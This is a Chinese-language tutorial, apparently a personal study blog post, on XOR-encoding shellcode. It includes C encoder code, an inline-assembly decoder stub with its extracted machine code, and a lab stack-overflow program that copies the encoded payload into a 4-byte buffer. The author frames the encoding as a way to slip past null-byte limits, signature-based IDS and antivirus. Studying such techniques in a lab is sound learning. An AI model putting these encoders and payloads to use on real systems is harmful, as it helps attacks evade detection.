shellcode编码解码

简单给shellcode加编码、解码过程。
环境:VC++6.0 内嵌汇编

原理

在很多漏洞利用场景中,shellcode 的内容将会受到限制。
首先,所有的字符串函数都会对 NULL 字节进行限制。通常我们需要选择特殊的指令来避免在 shellcode 中直接出现 NULL 字节(byte,ASCII 函数)或字(word,Unicode 函数)。
其次,有些函数还会要求 shellcode 必须为可见字符的 ASCII 值或 Unicode 值。在这种限制较多的情况下,如果仍然通过挑选指令的办法控制 shellcode 的值的话,将会给开发带来很大困难。毕竟用汇编语言写程序就已经不那么容易了,如果在关心程序逻辑和流程的同时,还要分心去选择合适的指令将会让我这样不很聪明的程序员崩溃掉。
最后,除了以上提到的软件自身的限制之外,在进行网络攻击时,基于特征的 IDS 系统往往也会对常见的 shellcode 进行拦截。


当 exploit 成功时,shellcode 顶端的解码程序首先运行,它会在内存中将真正的 shellcode 还原成原来的样子,然后执行之。
这种对 shellcode 编码的方法和软件加壳的原理非常类似。



很多病毒也会采取类似加壳的办法来躲避杀毒软件的查杀:首先对自身编码,若直接查看病毒文件的代码节会发现只有几条用于解码的指令,其余都是无效指令;当PE 装入开始运行时,解码器将真正的代码指令还原出来,并运行之、实施破坏活动;杀毒软件将一种特征记录之后,病毒开发者只需要使用新的编码算法(密钥)重新对PE 文件编码,即可躲过查杀。然而自古正邪不两立,近年来杀毒软件开始普遍采用内存杀毒的办法来增加查杀力度,就是等病毒装载完成并已还原出真面目的时候进行查杀。


主要过程:
1.编码阶段代码
2.解码阶段代码
3.对shellcode进行编码
4.提取解码器机器码与shellcode组合

编码

来源于《0day安全:软件漏洞分析技术》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void encoder(char *input,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
printf("%d\n",len);
output = (unsigned char *)malloc(len+1);
if(!output)
{
printf("memory error\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if(!(fp=fopen("encode.txt","w+")))
{
printf("output file creat error\n");
exit(0);
}
fprintf(fp,"\"");
for(i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if((i+1)%16 == 0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)//print to screen
{
for(i=0;i<len;i++)
{
printf("%0.2x ",output[i]);
if((i+1)%16 == 0)
{
printf("\n");
}
}
}
free(output);
}
void main(){
char *input=" ";
encoder(input,0x44,1);
}

我自己写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "stdafx.h"
#include "stdio.h"

char shellcode[] = "\x33\xDB\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8B\xC4\x53\x50\x50\x53\xB8\x80\x1E\xBC\x75\xFF\xD0\x83\xC4\x0C\x90";

unsigned char encode[200];
char key = 0x44;
//void encoder
void main(){
int i=0;
int length = sizeof(shellcode);
for(i=0;i<length-1;i++){
encode[i]=shellcode[i]^key;
//printf("%x\t%x\n",shellcode[i],encode[i]);
}
for(i=0;i<length-1;i++){
printf("\\x%x",encode[i]);
}
}

需要注意的是,若编码选择的key和shellcode中的一个字节一样,就会出现空字节。
另外由于有strlen函数,会对shellcode中的00进行截断,故我选择手动用key替换shellcode里的00…在shellcode没那那么长的时候可以,一旦长度很长了就….

解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
void main(){
__asm{
add eax,0x14 //最开始是add eax,0x14,就是跳过解码部分的代码,寄存器指向编码后的shellcode。这样就定位了shellcode
xor ecx,ecx //把ecx作为计数器
decode:
mov bl,byte ptr [eax+ecx] //byte ptr [eax+ecx]实现以字节计的每次移动一个字节解码
xor bl,0x44 //一个字节8位,每次解码一个,所以安排在了ebx低8位bl寄存器中
mov byte ptr [eax+ecx],bl
inc ecx
cmp bl,0x90 //最后设置一个0x90作为结束标志,要是bl的值和0x90解码后相同了就结束解码部分,开始执行后面已经解码的指令
jne decode
}
}

注意:
这段解码并不能单独运行,而是提取出机器码后和shellcode组合使用。

1
提取出来的机器码:\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1

另外简单调用的时候,比如cmd、计算器等,需要配合下面代码使用:

1
2
3
4
5
6
__asm
{
lea eax, shellcode
push eax
ret
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
跳转指令机器码:

直接跳 JMP EB 八位

直接跳 JMP E9 十六位

直接标志转移(8位寻址)

指令格式 机器码 测试条件 如…则转移


JC 72 C=1 有进位 JNS 79 S=0 正号

JNC 73 C=0 无进位 JO 70 O=1 有溢出

JZ/JE 74 Z=1 零/等于 JNO 71 O=0 无溢出

JNZ/JNE 75 Z=0 不为零/不等于 JP/JPE 7A P=1 奇偶位为偶

最后的跳转指令的机器码为:75 f1。很明显如果是地址的话不会这样短。
这是一个短跳转。这里的意思是往前跳13个字节。f1是相对偏移地址13。下图为kali工具nasm下的测试。

利用编码进行溢出实验

溢出实验的过程移步我前某篇文章=w=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "stdafx.h"
#include "string.h"
#include "windows.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90\x90\x8b\xc4\x83\xc0\x19\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1\x2e\x41\x2e\x40\x2e\x47\x2c\x41\x54\x04\x44\xcf\x40\x60\xbb\x94\xc7\x80\x54\xd4";

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}

void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}

/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(4198750,2);

/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}

注意,解码子在这里需要添加定位shellcode的代码:(上述shellcode已添加)

1
mov eax,esp

说一下我测试过程中遇到的问题。

首先,是00的问题。在没编码之前,我通过先随便压栈一个参数代替00再用指令替换。编码后,可以选择00压栈,然后异或,则key被选为00,可以避免strcpy函数截断的问题。

其次,是“花指令”问题。在最初的跟踪调试过程中,进行到解码子和我的shellcode时,总是没办法正常执行。后来查看内存发现我的机器码没有被正常翻译为汇编语言,组合错乱。所以选择了一些nop指令进行填充,并根据eax的值调整了跳过长度。

遗留问题:返回地址->正常结束程序。有时间我会解决的,嗯,咕咕咕~